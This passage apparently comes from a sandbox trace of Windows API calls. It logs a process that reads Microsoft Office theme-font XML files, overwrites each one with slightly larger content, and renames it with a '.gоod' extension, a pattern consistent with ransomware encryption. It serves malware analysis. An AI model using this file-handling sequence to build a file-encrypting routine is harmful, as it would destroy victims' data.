office\\root\\document themes 16\\theme fonts\\arial.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59e6edc6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdc0)) returned 1 [0157.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0157.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml.gоod")) returned 1 [0157.182] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml", lpFilePart=0x0) returned 0x62 [0157.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0157.182] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml"), fInfoLevelId=0x0, lpFileInformation=0x33b6540 | out: lpFileInformation=0x33b6540*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdff)) returned 1 [0157.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0157.253] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml", lpFilePart=0x0) returned 0x62 [0157.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0157.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0157.253] GetFileType (hFile=0x630) returned 0x1 [0157.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0157.253] GetFileType (hFile=0x630) returned 0x1 [0157.253] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xdff [0157.254] ReadFile (in: hFile=0x630, lpBuffer=0x348a418, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x348a418*, lpNumberOfBytesRead=0x200ec818*=0xdff, lpOverlapped=0x0) returned 1 [0157.643] CloseHandle (hObject=0x630) returned 1 [0159.421] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml", lpFilePart=0x0) returned 0x62 [0159.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0159.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0159.422] GetFileType (hFile=0x80c) returned 0x1 [0159.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0159.422] GetFileType (hFile=0x80c) returned 0x1 [0159.422] WriteFile (in: hFile=0x80c, lpBuffer=0x3514018*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3514018*, lpNumberOfBytesWritten=0x200ec728*=0xe00, lpOverlapped=0x0) returned 1 [0159.423] CloseHandle (hObject=0x80c) returned 1 [0159.423] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml", lpFilePart=0x0) returned 0x62 [0159.423] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml.gоod", lpFilePart=0x0) returned 0x67 [0159.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0159.423] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5b3c2f72, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1 [0159.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0159.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml.gоod")) returned 1 [0159.424] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml", lpFilePart=0x0) returned 0x59 [0159.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0159.424] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml"), fInfoLevelId=0x0, lpFileInformation=0x3515350 | out: lpFileInformation=0x3515350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd6)) returned 1 [0159.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0159.425] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml", lpFilePart=0x0) returned 0x59 [0159.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0159.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0159.425] GetFileType (hFile=0x80c) returned 0x1 [0159.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0159.425] GetFileType (hFile=0x80c) returned 0x1 [0159.425] GetFileSize (in: hFile=0x80c, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xdd6 [0159.425] ReadFile (in: hFile=0x80c, lpBuffer=0x3516430, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3516430*, lpNumberOfBytesRead=0x200ec818*=0xdd6, lpOverlapped=0x0) returned 1 [0159.758] CloseHandle (hObject=0x80c) returned 1 [0159.797] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml", lpFilePart=0x0) returned 0x59 [0159.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0159.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0159.798] GetFileType (hFile=0x80c) returned 0x1 [0159.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0159.798] GetFileType (hFile=0x80c) returned 0x1 [0159.798] WriteFile (in: hFile=0x80c, lpBuffer=0x36b19a8*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x36b19a8*, lpNumberOfBytesWritten=0x200ec728*=0xde0, lpOverlapped=0x0) returned 1 [0159.799] CloseHandle (hObject=0x80c) returned 1 [0159.799] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml", lpFilePart=0x0) returned 0x59 [0159.799] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml.gоod", lpFilePart=0x0) returned 0x5e [0159.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0159.799] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5b7568f8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xde0)) returned 1 [0159.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0159.800] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml.gоod")) returned 1 [0159.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml", lpFilePart=0x0) returned 0x51 [0159.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0159.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml"), fInfoLevelId=0x0, lpFileInformation=0x36b2cb0 | out: lpFileInformation=0x36b2cb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1145cd4f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdac)) returned 1 [0159.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0159.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml", lpFilePart=0x0) returned 0x51 [0159.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0159.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0159.801] GetFileType (hFile=0x80c) returned 0x1 [0159.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0159.801] GetFileType (hFile=0x80c) returned 0x1 [0159.801] GetFileSize (in: hFile=0x80c, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xdac [0159.801] ReadFile (in: hFile=0x80c, lpBuffer=0x36b3d28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x36b3d28*, lpNumberOfBytesRead=0x200ec818*=0xdac, lpOverlapped=0x0) returned 1 [0160.023] CloseHandle (hObject=0x80c) returned 1 [0160.783] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml", lpFilePart=0x0) returned 0x51 [0160.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0160.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0160.784] GetFileType (hFile=0x80c) returned 0x1 [0160.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0160.784] GetFileType (hFile=0x80c) returned 0x1 [0160.784] WriteFile (in: hFile=0x80c, lpBuffer=0x37252d8*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x37252d8*, lpNumberOfBytesWritten=0x200ec728*=0xdb0, lpOverlapped=0x0) returned 1 [0160.785] CloseHandle (hObject=0x80c) returned 1 [0160.785] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml", lpFilePart=0x0) returned 0x51 [0160.785] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml.gоod", lpFilePart=0x0) returned 0x56 [0160.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0160.785] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c0b9e0e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdb0)) returned 1 [0160.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0160.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml.gоod")) returned 1 [0160.786] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml", lpFilePart=0x0) returned 0x51 [0160.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0160.786] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml"), fInfoLevelId=0x0, lpFileInformation=0x37265b0 | out: lpFileInformation=0x37265b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde4)) returned 1 [0160.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0160.786] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml", lpFilePart=0x0) returned 0x51 [0160.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0160.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0160.786] GetFileType (hFile=0x80c) returned 0x1 [0160.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0160.786] GetFileType (hFile=0x80c) returned 0x1 [0160.786] GetFileSize (in: hFile=0x80c, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xde4 [0160.787] ReadFile (in: hFile=0x80c, lpBuffer=0x3727660, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3727660*, lpNumberOfBytesRead=0x200ec818*=0xde4, lpOverlapped=0x0) returned 1 [0160.788] CloseHandle (hObject=0x80c) returned 1 [0161.030] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml", lpFilePart=0x0) returned 0x51 [0161.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0161.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0161.031] GetFileType (hFile=0x63c) returned 0x1 [0161.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0161.031] GetFileType (hFile=0x63c) returned 0x1 [0161.032] WriteFile (in: hFile=0x63c, lpBuffer=0x3594d68*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3594d68*, lpNumberOfBytesWritten=0x200ec728*=0xdf0, lpOverlapped=0x0) returned 1 [0161.032] CloseHandle (hObject=0x63c) returned 1 [0161.032] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml", lpFilePart=0x0) returned 0x51 [0161.032] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml.gоod", lpFilePart=0x0) returned 0x56 [0161.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0161.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c31c2ec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdf0)) returned 1 [0161.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0161.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml.gоod")) returned 1 [0161.033] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml", lpFilePart=0x0) returned 0x51 [0161.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0161.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml"), fInfoLevelId=0x0, lpFileInformation=0x3596040 | out: lpFileInformation=0x3596040*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc0)) returned 1 [0161.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0161.034] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml", lpFilePart=0x0) returned 0x51 [0161.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0161.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0161.034] GetFileType (hFile=0x63c) returned 0x1 [0161.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0161.034] GetFileType (hFile=0x63c) returned 0x1 [0161.034] GetFileSize (in: hFile=0x63c, 